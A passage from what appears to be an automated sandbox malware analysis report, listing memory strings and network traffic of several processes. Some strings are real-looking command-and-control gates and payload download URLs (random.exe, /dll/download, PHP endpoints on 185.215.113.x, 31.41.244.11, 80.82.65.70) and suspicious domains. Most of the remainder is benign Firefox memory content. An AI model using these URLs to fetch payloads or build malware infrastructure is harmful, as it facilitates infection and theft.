agead/conversion_async.js"{"active":false,"fullscreen":true,"tabsintitlebar":false}"*://id.
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: url('chrome://activity-stream/content/data/content/assets/mr-pintaskbar.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/h&@ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: url('chrome://activity-stream/content/data/content/assets/mr-pintaskbar.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/h&@ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: url('chrome://activity-stream/content/data/content/assets/mr-pintaskbar.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/h&@ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3407434312.00000214ABE1E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3407434312.00000214ABE8F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3407434312.00000214ABE17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: x*://www.facebook.com/platform/impression.php* equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: {incognito:null, tabId:null, types:["image"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: {incognito:null, tabId:null, types:["imageset"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"], windowId:
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"], windowId:
Source: global traffic DNS traffic detected: DNS query: drive-connect.cyou
Source: global traffic DNS traffic detected: DNS query: atten-supporse.biz
Source: global traffic DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: youtube.com
Source: global traffic DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: example.org
Source: global traffic DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: www.google.com
Source: global traffic DNS traffic detected: DNS query: js.monitor.azure.com
Source: unknown HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: drive-connect.cyou
Source: firefox.exe, 0000001D.00000002.3399505695.00000214AAD50000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://127.0.0.1:
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/luma/random.exe-P
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/luma/random.exe;P
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/random.exe~Q
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/steam/random.exeZP
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/steam/random.exekQ
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/well/random.exe
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/well/random.exeGP
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/well/random.exe_Q
Source: f570600774.exe, 0000000E.00000002.3190013417.000000000145E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206
Source: f570600774.exe, 0000000E.00000002.3190013417.00000000014B7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/
Source: f570600774.exe, 0000000E.00000002.3190013417.000000000145E000.00000004.00000020.00020000.00000000.sdmp, f570600774.exe, 0000000E.00000002.3190013417.00000000014A4000.00000004.00000020.00020000.00000000.sdmp, f570600774.exe, 0000000E.00000002.3190013417.00000000014B7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: f570600774.exe, 0000000E.00000002.3190013417.000000000145E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: f570600774.exe, 0000000E.00000002.3190013417.00000000014B7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpDh
Source: f570600774.exe, 0000000E.00000002.3190013417.00000000014B7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpHh
Source: f570600774.exe, 0000000E.00000002.3190013417.00000000014A4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpgRL
Source: f570600774.exe, 0000000E.00000002.3190013417.00000000014B7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpph
Source: f570600774.exe, 0000000E.00000002.3190013417.000000000145E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206;
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php32Z=
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php514001
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpW
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpY
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpded
Source: skotes.exe, 00000006.00000002.3482291787.0000000001551000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpe
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncodedM=
Source: skotes.exe, 00000006.00000002.3482291787.00000000015C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php~
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/erences.SourceAumid001p
Source: skotes.exe, 00000006.00000002.3482291787.0000000001551000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 00000006.00000002.3482291787.0000000001551000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/random.exe)
Source: skotes.exe, 00000006.00000002.3482291787.0000000001551000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/random.exe506238476
Source: skotes.exe, 00000006.00000002.3482291787.0000000001551000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/random.exe5062384ed
Source: skotes.exe, 00000006.00000002.3482291787.0000000001551000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/random.exeV
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/unique2/random.exe
Source: f30149f036.exe, 0000000C.00000003.3357704236.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3248884803.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000002.3488485448.00000000055C2000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3276392844.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3304496353.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3220567786.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3331502987.00000000055C1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://80.82.65.70/
Source: f30149f036.exe, 0000000C.00000003.3357704236.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3248884803.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000002.3488485448.00000000055C2000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3276392844.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3304496353.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3220567786.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3331502987.00000000055C1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://80.82.65.70/P
Source: f30149f036.exe, 0000000C.00000003.3357704236.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3248884803.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000002.3488485448.00000000055C2000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3276392844.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3304496353.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3220567786.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3331502987.00000000055C1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://80.82.65.70/add?substr=mixtwo&s=three&sub=emp
Source: f30149f036.exe, 0000000C.00000002.3479111946.0000000001018000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://80.82.65.70/dll/download
Source: f30149f036.exe, 0000000C.00000003.3248884803.00000000055CF000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3357704236.00000000055CF000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3304496353.00000000055CF000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000002.3488485448.00000000055CF000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3220567786.00000000055CF000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3331502987.00000000055CF000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3276392844.00000000055CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://80.82.65.70/dll/downloadt
Source: f30149f036.exe, 0000000C.00000003.3331502987.00000000055C1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://80.82.65.70/dll/key
Source: f30149f036.exe, 0000000C.00000002.3479111946.0000000001005000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://80.82.65.70/dll/keyn6
Source: f30149f036.exe, 0000000C.00000003.3331502987.00000000055C1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://80.82.65.70/files/download
Source: f30149f036.exe, 0000000C.00000002.3479111946.0000000000F69000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000002.3488485448.00000000055CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://80.82.65.70/files/download0/files/download
Source: f30149f036.exe, 0000000C.00000002.3488485448.00000000055CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://80.82.65.70/files/download0/files/downloadX
Source: f30149f036.exe, 0000000C.00000003.3357704236.00000000055CF000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000002.3488485448.00000000055CF000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3331502987.00000000055CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://80.82.65.70/files/download8
Source: f30149f036.exe, 0000000C.00000002.3479111946.0000000000F69000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://80.82.65.70/files/downloadD
Source: f30149f036.exe, 0000000C.00000003.3357704236.00000000055CF000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000002.3488485448.00000000055CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://80.82.65.70/files/downloadF
Source: f30149f036.exe, 0000000C.00000002.3488485448.00000000055CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://80.82.65.70/files/downloadb
Source: f30149f036.exe, 0000000C.00000003.3357704236.00000000055CF000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3304496353.00000000055CF000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000002.3488485448.00000000055CF000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3331502987.00000000055CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://80.82.65.70/files/downloadfaults
Source: f30149f036.exe, 0000000C.00000002.3479111946.0000000000F69000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://80.82.65.70/files/downloadl
Source: f30149f036.exe, 0000000C.00000002.3479111946.0000000000F69000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://80.82.65.70/files/downloadlZ
Source: f30149f036.exe, 0000000C.00000002.3488485448.00000000055CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://80.82.65.70/files/downloadp
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: d0d9725343.exe, 0000000B.00000003.2953198122.00000000038BD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3165168016.000000000586F000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3314092869.0000000005414000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3412078877.00000214AC441000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: d0d9725343.exe, 0000000B.00000003.2953198122.00000000038BD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3165168016.000000000586F000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3314092869.0000000005414000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3412078877.00000214AC441000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: d0d9725343.exe, 0000000B.00000003.2953198122.00000000038BD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3165168016.000000000586F000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3314092869.0000000005414000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3412078877.00000214AC441000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: d0d9725343.exe, 0000000B.00000003.2953198122.00000000038BD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3165168016.000000000586F000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3314092869.0000000005414000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3412078877.00000214AC441000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: d0d9725343.exe, 0000000B.00000003.2953198122.00000000038BD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3165168016.000000000586F000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3314092869.0000000005414000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3412078877.00000214AC441000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: d0d9725343.exe, 0000000B.00000003.2953198122.00000000038BD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3165168016.000000000586F000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3314092869.0000000005414000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3412078877.00000214AC441000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
